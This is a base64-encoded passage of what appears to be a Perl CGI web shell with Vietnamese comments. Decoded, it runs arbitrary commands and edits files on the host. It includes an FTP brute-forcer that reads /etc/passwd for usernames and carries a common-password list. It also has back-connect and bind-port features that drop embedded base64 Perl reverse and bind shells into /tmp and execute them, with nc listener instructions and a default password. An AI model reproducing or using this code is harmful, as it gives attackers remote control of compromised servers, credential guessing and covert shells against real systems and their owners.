IHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQgPC9ydW4+PGJyPjx0ZXh0YXJlYSBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOwoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyEKCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7CgkJJHJlc3VsdCAuPSAmUnVuQ21kOwoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykKCXsKCQkkcmVzdWx0IC49ICAmU2F2ZUZpbGVGb3JtOwoJfWVsc2UKCXsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOwoJCSRyZXN1bHQgLj0mUnVuQ21kOwoJfQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgcnVuIGNvbW1hbmQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKc3ViIFJ1bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJaWYoISRXaW5OVCkKCXsKCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCX0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCXsKCQkkfD0xOwoJCSRDb21tYW5kIC49ICIgfCI7CgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsKCQl9CgkJJHw9MDsKCX0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJewoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJyRDb21tYW5kJyk7Cgl9CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIEZvcm0gU2F2ZSBGaWxlIAojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZUZvcm0KewoJbXkgJHJlc3VsdCA9IiI7CglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsKCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsKCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiIGNsYXNzPSJzdWJtaXQiID4nOwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7CglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsKCWlmKC13ICRGaWxlKQoJewoJCSRyb3dzPSIyMyIKCX1lbHNlCgl7CgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOwoJCSRyb3dzPSIyMCIKCX0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCSRyZWFkPSgkV2luTlQpPyJ0eXBlIjoibGVzcyI7CgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOwoJJHJlc3VsdCAuPSAgPDxFTkQ7Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgoJJFByb21wdAoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+Cgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQgLj0gPDxFTkQ7Cgo8dGFibGU+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPgpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3U8L3RleHRhcmVhPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+Cgo8b3B0aW9uPjA8L29wdGlvbj4KPG9wdGlvbj4xPC9vcHRpb24+CjxvcHRpb24+Mjwvb3B0aW9uPgoKPG9wdGlvbj4zPC9vcHRpb24+Cjwvc2VsZWN0PiAKPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkpOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCEKCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIE1JTUU6OkJhc2U2NDsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJhY2tjb25uZWN0LnBsICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwogICAgaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9CglpZighcm1kaXIoJGRpcikpCgl7CgkJCgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCg